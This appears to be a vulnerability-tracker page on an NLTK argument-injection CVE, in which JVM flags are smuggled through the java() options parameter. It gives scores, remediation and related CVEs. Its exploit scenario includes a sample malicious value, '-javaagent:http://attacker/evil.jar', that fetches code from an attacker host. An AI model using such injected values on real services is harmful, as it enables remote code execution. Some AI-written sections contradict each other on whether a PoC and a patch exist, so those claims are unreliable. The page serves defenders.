Skip to main content

NLTK CVE-2026-79675

| EUVDEUVD-2026-65525 CRITICAL
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (CWE-88)
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach NLP endpoint accepting options
  2. Delivery
    Inject malicious JVM flag in options
  3. Exploit
    NLTK builds java command line
  4. Execution
    Stanford wrapper spawns JVM with flag
  5. Persist
    JVM loads attacker agent/native library
  6. Impact
    Arbitrary code execution as service user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
Exploitation Conditions

Exploitation requires that the target application invoke NLTK's Java-backed Stanford wrapper classes (StanfordTagger/StanfordParser/CoreNLP integrations that call nltk.internals.java()) AND that an attacker be able to control the per-call options parameter passed to that function, with a working Java runtime installed on the host. The concrete injected payloads are JVM flags such as -agentpath, -javaagent, or @argfile. Limiting factors: the vulnerable java()/Stanford wrapper path is a legacy, optional feature not used by most NLTK deployments, and if the application never routes untrusted input into the options parameter the flaw is not reachable despite the PR:N/UI:N CVSS rating; a JVM must also be present for the injected flags to take effect.

Impact

The published CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, score 9.3) rates this as network-reachable, low-complexity, unauthenticated RCE, which is the theoretical ceiling. In practice the risk is materially gated by a data-flow precondition not captured by base metrics: an application must both use the deprecated java()/Stanford wrapper code path AND route attacker-controllable data into the per-call options parameter. Where that data flow exists (e.g., an NLP service that forwards user-supplied tuning options), exploitation is straightforward and high-impact; where it does not, the vulnerability is not reachable at all. No EPSS score, KEV entry, POC, or SSVC decision data was provided, so exploitation-probability signals are absent - the assessment rests on the CVSS vector, the description, and the VulnCheck advisory. Bottom line: a genuinely serious RCE class in a ubiquitous library, but real-world exposure is concentrated in the minority of deployments that invoke the Java-backed Stanford wrappers with externally influenced options rather than being broadly automatable across all NLTK installs.

Exploit ScenarioDerived

An NLP web service uses NLTK's Stanford tagger and lets clients pass optional tuning flags that are forwarded into the java() options parameter. An attacker submits an option value containing -javaagent:http://attacker/evil.jar (or -agentpath to a planted native library), which the JVM loads at startup, executing attacker code with the service's privileges. No public POC has been identified at time of analysis, but the low attack complexity makes exploitation trivial once such a data flow exists.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
1 public PoC Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 25, 2026

Argument injection in the Natural Language Toolkit (NLTK) Python library before 3.10.3 allows attackers who control the per-call options parameter of the java() helper to inject dangerous JVM flags (such as -agentpath, -javaagent, or @argfile) into invocations of the bundled Stanford NLP wrapper classes, resulting in arbitrary code execution. The flaw stems from missing validation of JVM options before they are handed to the spawned Java process. Reported by VulnCheck; no public exploit identified at time of analysis and it is not listed in CISA KEV.

RemediationAI

Upgrade NLTK to the fixed release: Vendor-released patch: 3.10.3, which adds validation of JVM options passed through the java() function. If immediate upgrade is not possible, apply compensating controls: avoid using the Stanford Java wrapper functionality entirely (the affected code path only triggers when the JVM-backed Stanford tagger/parser/CoreNLP wrappers are invoked), and never pass user-supplied or externally derived strings into the options parameter of java() or the Stanford wrapper constructors - hardcode a fixed, reviewed option set instead. Where the Java integration is not needed, ensure no Java executable is reachable on PATH for the NLTK process and/or run the process under a restricted account without permission to load native libraries, accepting that this disables Java-backed NLP features. Consult GHSA-m4rf-3fr8-xwx3 (https://github.com/nltk/nltk/security/advisories/GHSA-m4rf-3fr8-xwx3) and the VulnCheck advisory (https://www.vulncheck.com/advisories/nltk-before-jvm-argument-injection-via-per-call-options) for authoritative guidance.

Affected VersionsENISA

nltk 0 <3.10.3

Affected Packages

pypi nltk fix: 3.10.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

NLTK is a widely used Python natural-language-processing library. Its legacy nltk.internals.java() helper launches a JVM subprocess to drive Stanford CoreNLP/tagger/parser wrapper classes, and it accepts an options parameter that is passed through to the java command line. Because these strings are not validated or allowlisted, an attacker who influences that parameter can smuggle JVM startup flags that load native agents or Java agents at process start. This is a classic CWE-88 argument (command) injection: the trust boundary between the caller-supplied option string and the executed JVM command line is not enforced. Flags like -agentpath=/path/to/lib load an arbitrary native library, -javaagent:evil.jar loads an attacker-controlled Java agent, and @argfile expands an external file of additional arguments - any of which yields code execution in the JVM context. The single CPE, cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:*, covers all NLTK versions prior to the fixed 3.10.3.

Know when Nltk gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.1 HIGH

Network-reachable unauthenticated RCE, but AC:H because exploitation depends on the app using the legacy Stanford wrappers and routing untrusted data into the options parameter; full CIA impact via JVM code execution.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 8.1 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Red Hat 8.1 HIGH

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 25, 2026 - 17:17 EUVD
CVE Published
Aug 25, 2026 - 15:16 cve.org
CRITICAL 9.3

DescriptionCVE.org

NLTK before 3.10.3 fails to validate JVM options passed through the per-call options parameter in the java() function, allowing attackers to inject dangerous JVM flags. Attackers can supply malicious options like -agentpath, -javaagent, or @argfile to Stanford wrapper classes to achieve arbitrary code execution.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 6,216 pypi packages depend on nltk (3,092 direct, 3,205 indirect)

Ecosystem-wide dependent count for version 3.10.3.

Latest POC

1 public PoC link from github

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

NLTK versions before 3.10.3 contain a critical argument injection vulnerability in the Stanford NLP wrapper that enables arbitrary code execution when attackers control the options parameter. Organizations running NLP workloads with NLTK-particularly those processing user-supplied or external text-face immediate risk of full system compromise. No vendor patch has been released.

Business Impact: Severe
Compensating Controls

Implement strict input validation and sanitization for any user-controlled data passed to NLTK functions; eliminate use of java() helper with untrusted input; apply principle of least privilege and network isolation for vulnerable systems; consider temporary disablement of Stanford NLP wrapper functionality pending patch release; establish monitoring for NLTK security advisories and CISA KEV updates.

Threat Intelligence Overview

EPSS Score
0.4%
Top 67% exploitable
Prevalence
High
NLTK is one of the most widely deployed Python NLP libraries
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD 🇯🇵JVN NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Nltk

View all
CVE-2026-79657 CRITICAL POC
9.3 Aug 25

Arbitrary code execution in the Natural Language Toolkit (NLTK) before 3.10.3 allows attackers to bypass the library's p

CVE-2026-78683 CRITICAL POC
9.4 Aug 25

Arbitrary code execution in NLTK (Natural Language Toolkit) through 3.9.4 allows attackers to run Python code when a vic

CVE-2025-14009 HIGH POC
8.8 Feb 18

Arbitrary code execution in the NLTK (Natural Language Toolkit) Python library affects all versions through its data dow

CVE-2026-63312 HIGH POC
8.7 Aug 22

StreamBackedCorpusView in NLTK before 3.10.0 allows arbitrary local file reads by calling Python's builtins.open() direc

CVE-2026-62384 HIGH POC
8.7 Aug 22

Symlink-based path traversal in NLTK's FramenetCorpusReader before version 3.10.2 permits attackers with write access to

CVE-2026-66393 HIGH POC
8.7 Aug 22

Unbounded recursion in NLTK's JSONTaggedDecoder.decode_obj() (nltk/jsontags.py) allows unauthenticated remote attackers

CVE-2026-62388 HIGH POC
8.7 Aug 22

Path traversal and pickle deserialization protections in NLTK before 3.10.0 are effectively disabled by default - pathse

CVE-2026-78681 HIGH POC
8.7 Aug 25

XML Entity Expansion (Billion Laughs) in NLTK before 3.10.3 allows unauthenticated remote attackers to cause denial of s

CVE-2026-78682 HIGH POC
8.7 Aug 25

Server-side request forgery in NLTK before 3.10.3 allows unauthenticated remote attackers to reach internal HTTP service

CVE-2026-70626 HIGH POC
8.6 Aug 22

Symlink escape in NLTK's CorpusReader.open() allows local attackers to read arbitrary files outside the designated corpu

CVE-2026-62385 HIGH POC
8.2 Aug 22

Path traversal in NLTK's FramenetCorpusReader and NKJPCorpusReader (all versions before 3.10.0) enables unauthenticated

CVE-2021-43854 HIGH POC
7.5 Dec 23

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research a

Vendor StatusVendor

SUSE

Severity: Important

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy